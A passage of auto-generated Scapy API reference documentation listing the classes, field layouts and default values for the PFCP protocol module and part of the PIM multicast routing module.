+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |D|U|T|                     TOTAL                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     UPLINK                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    DOWNLINK                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_VolumeThreshold                      


IE_VolumeThreshold fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	DLVOL

	BitField  (1 bit)

	0



	ULVOL

	BitField  (1 bit)

	0



	TOVOL

	BitField  (1 bit)

	0



	total

	XLongField (Cond)

	0



	uplink

	XLongField (Cond)

	0



	downlink

	XLongField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 31

	








	
class scapy.contrib.pfcp.Int40Field(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L451-L464]

	Bases: Field


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L455-L457]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L459-L461]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L463-L464]

	








	
class scapy.contrib.pfcp.PFCP(_pkt, /, *, version=1, spare_b2=0, spare_b3=0, spare_b4=0, MP=0, S=1, message_type=None, length=None, seid=0, seq=0, priority=0, spare_p=0, spare_oct=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L378-L410]

	Bases: PFCPLengthMixin, Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L406-L410]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSI|S|S|S|M|S|  MESSAGE TYPE |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEID                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PRIORIT|SPARE P|   SPARE OCT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. PFCP                             


PFCP fields






	version

	BitField  (3 bits)

	1



	spare_b2

	XBitField  (1 bit)

	0



	spare_b3

	XBitField  (1 bit)

	0



	spare_b4

	XBitField  (1 bit)

	0



	MP

	BitField  (1 bit)

	0



	S

	BitField  (1 bit)

	1



	message_type

	ByteEnumField

	None



	length

	ShortField

	None



	seid

	XLongField (Cond)

	0



	seq

	ThreeBytesField

	0



	priority

	BitField (Cond) (4 bits)

	0



	spare_p

	BitField (Cond) (4 bits)

	0



	spare_oct

	ByteField (Cond)

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L402-L404]

	




	
payload_guess

	Possible sublayers:
PFCPAssociationReleaseRequest, PFCPAssociationReleaseResponse, PFCPAssociationSetupRequest, PFCPAssociationSetupResponse, PFCPAssociationUpdateRequest, PFCPAssociationUpdateResponse, PFCPHeartbeatRequest, PFCPHeartbeatResponse, PFCPNodeReportRequest, PFCPNodeReportResponse, PFCPPFDManagementRequest, PFCPPFDManagementResponse, PFCPSessionDeletionRequest, PFCPSessionDeletionResponse, PFCPSessionEstablishmentRequest, PFCPSessionEstablishmentResponse, PFCPSessionModificationRequest, PFCPSessionModificationResponse, PFCPSessionReportRequest, PFCPSessionReportResponse, PFCPSessionSetDeletionRequest, PFCPSessionSetDeletionResponse, PFCPVersionNotSupportedResponse










	
class scapy.contrib.pfcp.PFCPAssociationReleaseRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2503-L2505]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PFCPAssociationReleaseRequest                


PFCPAssociationReleaseRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPAssociationReleaseResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2508-L2513]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2512-L2513]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PFCPAssociationReleaseResponse                


PFCPAssociationReleaseResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPAssociationSetupRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2477-L2479]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. PFCPAssociationSetupRequest                 


PFCPAssociationSetupRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPAssociationSetupResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2482-L2487]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2486-L2487]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PFCPAssociationSetupResponse                 


PFCPAssociationSetupResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPAssociationUpdateRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2490-L2492]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PFCPAssociationUpdateRequest                 


PFCPAssociationUpdateRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPAssociationUpdateResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2495-L2500]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2499-L2500]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PFCPAssociationUpdateResponse                


PFCPAssociationUpdateResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPHeartbeatRequest(_pkt, /, *, IE_list=[<IE_RecoveryTimeStamp  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2447-L2451]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PFCPHeartbeatRequest                     


PFCPHeartbeatRequest fields






	IE_list

	PacketListField

	[<IE_RecoveryTimeStamp  |>]















	
class scapy.contrib.pfcp.PFCPHeartbeatResponse(_pkt, /, *, IE_list=[<IE_RecoveryTimeStamp  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2454-L2461]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2460-L2461]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PFCPHeartbeatResponse                    


PFCPHeartbeatResponse fields






	IE_list

	PacketListField

	[<IE_RecoveryTimeStamp  |>]















	
class scapy.contrib.pfcp.PFCPLengthMixin[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L369-L375]

	Bases: object


	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L370-L375]

	








	
class scapy.contrib.pfcp.PFCPNodeReportRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2522-L2524]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PFCPNodeReportRequest                    


PFCPNodeReportRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPNodeReportResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2527-L2532]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2531-L2532]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PFCPNodeReportResponse                    


PFCPNodeReportResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPPFDManagementRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2464-L2466]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PFCPPFDManagementRequest                   


PFCPPFDManagementRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPPFDManagementResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2469-L2474]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2473-L2474]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PFCPPFDManagementResponse                  


PFCPPFDManagementResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionDeletionRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2574-L2576]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. PFCPSessionDeletionRequest                  


PFCPSessionDeletionRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionDeletionResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2579-L2584]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2583-L2584]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. PFCPSessionDeletionResponse                 


PFCPSessionDeletionResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionEstablishmentRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2548-L2550]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PFCPSessionEstablishmentRequest               


PFCPSessionEstablishmentRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionEstablishmentResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2553-L2558]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2557-L2558]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. PFCPSessionEstablishmentResponse               


PFCPSessionEstablishmentResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionModificationRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2561-L2563]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PFCPSessionModificationRequest                


PFCPSessionModificationRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionModificationResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2566-L2571]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2570-L2571]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PFCPSessionModificationResponse               


PFCPSessionModificationResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionReportRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2587-L2589]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PFCPSessionReportRequest                   


PFCPSessionReportRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionReportResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2592-L2597]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2596-L2597]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PFCPSessionReportResponse                  


PFCPSessionReportResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionSetDeletionRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2535-L2537]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PFCPSessionSetDeletionRequest                


PFCPSessionSetDeletionRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPSessionSetDeletionResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2540-L2545]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2544-L2545]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PFCPSessionSetDeletionResponse                


PFCPSessionSetDeletionResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.PFCPVersionNotSupportedResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2516-L2519]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PFCPVersionNotSupportedResponse               


PFCPVersionNotSupportedResponse fields






	IE_list

	PacketListField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.pim

References


	https://tools.ietf.org/html/rfc4601


	https://www.iana.org/assignments/pim-parameters/pim-parameters.xhtml





	
class scapy.contrib.pim.PIMv2GroupAddrs(_pkt, /, *, addr_family=1, encoding_type=0, bidirection=0, reserved=0, admin_scope_zone=0, mask_len=32, gaddr=None, num_joins=None, num_prunes=None, join_ips=[], prune_ips=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L248-L268]

	Bases: _PIMGenericTlvBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ADDR FAMILY  | ENCODING TYPE |B|  RESERVED |A|    MASK LEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             GADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NUM JOINS           |           NUM PRUNES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            JOIN IPS           |           PRUNE IPS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PIMv2GroupAddrs                       


PIMv2GroupAddrs fields






	addr_family

	ByteField

	1



	encoding_type

	ByteField

	0



	bidirection

	BitField  (1 bit)

	0



	reserved

	BitField  (6 bits)

	0



	admin_scope_zone

	BitField  (1 bit)

	0



	mask_len

	ByteField

	32



	gaddr

	MultipleTypeField (IP6Field, IPField)

	'0.0.0.0'



	num_joins

	BitFieldLenField  (16 bits)

	None



	num_prunes

	BitFieldLenField  (16 bits)

	None



	join_ips

	PacketListField

	[]



	prune_ips

	PacketListField

	[]















	
class scapy.contrib.pim.PIMv2Hdr(_pkt, /, *, version=2, type=0, reserved=0, chksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L38-L72]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  TYPE |    RESERVED   |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. PIMv2Hdr                           


PIMv2Hdr fields






	version

	BitField  (4 bits)

	2



	type

	BitEnumField

	0



	reserved

	ByteField

	0



	chksum

	XShortField

	None











	
payload_guess

	Possible sublayers:
PIMv2Hello, PIMv2JoinPrune






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L45-L72]

	
	Called implicitly before a packet is sent to compute and
	place PIM checksum.






	Parameters:

	
	class (self    The instantiation of an PIMv2Hdr) – 


	order (p       The PIMv2Hdr message in hex in network byte) – 


	message (pay     Additional payload for the PIMv2Hdr) – 

















	
class scapy.contrib.pim.PIMv2Hello(_pkt, /, *, option=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L112-L116]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OPTION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. PIMv2Hello                          


PIMv2Hello fields






	option

	_PIMv2HelloListField

	[]















	
class scapy.contrib.pim.PIMv2HelloAddrList(_pkt, /, *, type=24, length=None, value=[<PIMv2HelloAddrListValue  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L196-L205]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PIMv2HelloAddrList                      


PIMv2HelloAddrList fields






	type

	ShortField

	24



	length

	FieldLenField

	None



	value

	PacketListField

	[<PIMv2HelloAddrListValue  |>]















	
class scapy.contrib.pim.PIMv2HelloAddrListValue(_pkt, /, *, addr_family=1, encoding_type=0, prefix='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L187-L193]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ADDR FAMILY  | ENCODING TYPE |             PREFIX            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PIMv2HelloAddrListValue                   


PIMv2HelloAddrListValue fields






	addr_family

	ByteField

	1



	encoding_type

	ByteField

	0



	prefix

	IP6Field

	'::'















	
